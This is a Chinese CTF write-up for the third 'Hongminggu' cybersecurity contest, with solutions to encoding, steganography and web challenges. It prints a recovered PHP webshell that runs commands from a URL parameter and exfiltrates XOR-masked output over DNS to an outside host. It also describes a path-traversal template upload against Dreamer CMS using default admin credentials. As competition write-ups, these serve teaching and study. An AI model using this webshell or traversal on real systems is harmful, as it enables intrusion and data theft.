第三届"红明谷"杯网络安全大赛wp

misc

阿尼亚

文件尾有一串字符串6333383363333963633338326333616263333865633261616332613363326261633262636333623263326235633261356332623563333834633262316333613063333832633361623061,十六进制转字符串得到c383c39cc382c3abc38ec2aac2a3c2bac2bcc3b2c2b5c2a5c2b5c384c2b1c3a0c382c3ab0a

C383明显是中文编码,转十六进制后爆破得到密码简单的编码

根据图片名字netpixeljihad,使用PixelJihad解密,密码是简单的编码

得到压缩包的密码P@Ss_W0RD:)

解压得到+-+-++--+- ++---+-++- -+--++-++- +--++-++-- --+++++--- ++-++---+- +++-+-+--- +-+-+---++ ---+++-++- -+--++-++- -+--+++-+- -+--++-++- -+--++-++- ++-+-+-+-- -+--+++-+- ++-++---+- -++++---+- -+--++-++- ++-+-+-+-- +-+++---+- +++-++---- ---+++-++- +-+-+---++ ++-+-+-+-- +-+-+--++- ++--+--++- -++++---+- +---+++-+- ++-+-+-+-- -++++---+- -+--+++-+- +--+-+-++- +++-+-+--- +-+++---+- -+--+-+++- -+--++-++- ---+++-++- ++++----+- -++++---+- -+--+++-+- -+--++-++- ----+++++-

在线解密一把梭

hacker

流量分析,发现有个shell.php上传了一个xxx1.php,然后执行了lscat secret.txt

格式化后如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php $servername="127.0.0.1";
$username="root";
$password="123456";
$dbname="zentao";
$conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password);
$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$stmt=$conn->prepare("SELECT password FROM zt_user WHERE account=\'admin\'");
$stmt->execute();
$result=$stmt->fetch(PDO::FETCH_ASSOC);
$conn=null;
$param=$_GET["cmd"];
$password=$result["password"];
$output=shell_exec($param);
$hex_output=bin2hex($output);
$hex_password=bin2hex($password);
$len_output=strlen($hex_output);
$len_password=strlen($hex_password);
$max_subdomain_length=62;
$subdomain_base="yafgcy.ceye.io";
$hex_xor="";
for ($i=0;$i<$len_output;$i++) {
$char_output=$hex_output[$i];
$char_password=$hex_password[$i%$len_password];
$char_xor=dechex(hexdec($char_output)^hexdec($char_password));
if(strlen($hex_xor.$char_xor)>$max_subdomain_length) {
if(strlen($hex_xor)%2!=0) {
$subdomain="0"."$hex_xor.$subdomain_base";
} else {
$subdomain="$hex_xor.$subdomain_base";
}
gethostbyname($subdomain);
$hex_xor="";
} else {
$hex_xor.=$char_xor;
}
}
if(strlen($hex_xor)%2!=0) {
$subdomain="0"."$hex_xor.$subdomain_base";
} else {
$subdomain="$hex_xor.$subdomain_base";
}
gethostbyname($subdomain);
?>

发现是dns流量

提取出secret.txt,根据代码可知要与admin的密码进行异或

1
2
3
4
5
6
79227024716c7522787370254c777230667673222570247b76677322632671
d7b357226771575227a7372237677702573611f372570317b7672772076206
1479207024777b60247e6674231a626727666171372570317f766773207620
067879226731756c60206d75703670754e

password:8a3e684c923b763d252cf1e8734a7a29

异或后发现是DNA编码,每62位会少内容,爆破就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
mapping = {

'AAA':'a',
'AAC':'b',
'AAG':'c',
'AAT':'d',
'ACA':'e',
'ACC':'f',
'ACG':'g',
'ACT':'h',
'AGA':'i',
'AGC':'j',
'AGG':'k',
'AGT':'l',
'ATA':'m',
'ATC':'n',
'ATG':'o',
'ATT':'p',
'CAA':'q',
'CAC':'r',
'CAG':'s',
'CAT':'t',
'CCA':'u',
'CCC':'v',
'CCG':'w',
'CCT':'x',
'CGA':'y',
'CGC':'z',
'CGG':'A',
'CGT':'B',
'CTA':'C',
'CTC':'D',
'CTG':'E',
'CTT':'F',
'GAA':'G',
'GAC':'H',
'GAG':'I',
'GAT':'J',
'GCA':'K',
'GCC':'L',
'GCG':'M',
'GCT':'N',
'GGA':'O',
'GGC':'P',
'GGG':'Q',
'GGT':'R',
'GTA':'S',
'GTC':'T',
'GTG':'U',
'GTT':'V',
'TAA':'W',
'TAC':'X',
'TAG':'Y',
'TAT':'Z',
'TCA':'1',
'TCC':'2',
'TCG':'3',
'TCT':'4',
'TGA':'5',
'TGC':'6',
'TGG':'7',
'TGT':'8',
'TTA':'9',
'TTC':'0',
'TTG':' ',
'TTT':'.'


}


encode_string = 'OME'

decode_string = 'GGAGCGCTG'

inverted_mapping = dict(zip(mapping.values(), mapping.keys()))

def decode_dna( decode_string ):

pieces = []
for i in range( 0, len(decode_string), 3 ):
piece = decode_string[i:i+3]
# pieces.append()
pieces.append( mapping[piece] )

return "".join(pieces)

def encode_dna(encode_string):
pieces = []
for i in encode_string:
piece = inverted_mapping[i]
pieces.append(piece)
return "".join(pieces)

print 'Decoded String is:- '+ decode_dna(decode_string)
print 'Encoded DNA String is:- '+ encode_dna(encode_string)

X光的秘密

给了个task.dcm文件,百度到能打开的软件MicroDicom

使用软件导出,一共有二十张

使用stegsolve发现最后三张图存在LSB

脚本提取出最低位数据,因为是灰度图,所以用其中一个通道就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image

img=Image.open('img-00001-00018.png')
w,h=img.size

rgb=['','','']

for j in range(h):
for i in range(w):
data=img.getpixel((i,j))
rgb[0]+=str(data[0]%2)
rgb[1]+=str(data[1]%2)
rgb[2]+=str(data[2]%2)
print('r1: '+rgb[0])
#print('glow: '+rgb[1])
#print('blow: '+rgb[2])


file = open("r1.txt", "w+")
content = str(rgb[0])
file.write(content)
file.close()

img-00001-00018.png

1
100100010010110001101000000000

img-00001-00019.png

1
0110000110101001010000000000000

img-00001-00020.png

1
0001011001000010000010000000001

将三张图片按顺序拼接发现刚好是100010010x89PNG的头

使用脚本合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
f1 = open("r.txt")
f2 = open("r2.txt")
f3 = open("r3.txt")
d1=f1.read()
d2=f2.read()
d3=f3.read()

new=''

for i,v in enumerate(d1):
new+=v+d2[i]+d3[i]

file = open("1.txt", "w+")
file.write(new)
file.close()

web

点击签到

签到,点点点

Dreamer && Dreamer_revenge

参考Dreamer CMS 代码审计

默认后台管理员账号密码为wangjn/123456

在源码中复制一份\src\main\resources\db\dreamer-cms\templates\default_v2,修改theme.json文件中的themePath../../../../../../../../../../../,然后打包成压缩包,在后台风格管理处上传

启用后在模板管理处就可以看到跟目录下的文件了

Dreamer_revenge的步骤与Dreamer一致,不过flag在/proc/1/environ

Eyou

EyouCMS v1.6.1 反序列化漏洞

参考EyouCMS v1.6.1 0day挖掘


第三届"红明谷"杯网络安全大赛wp
https://www.dr0n.top/posts/86dd8190/
作者
dr0n
发布于
2023年4月19日
更新于
2024年3月22日
许可协议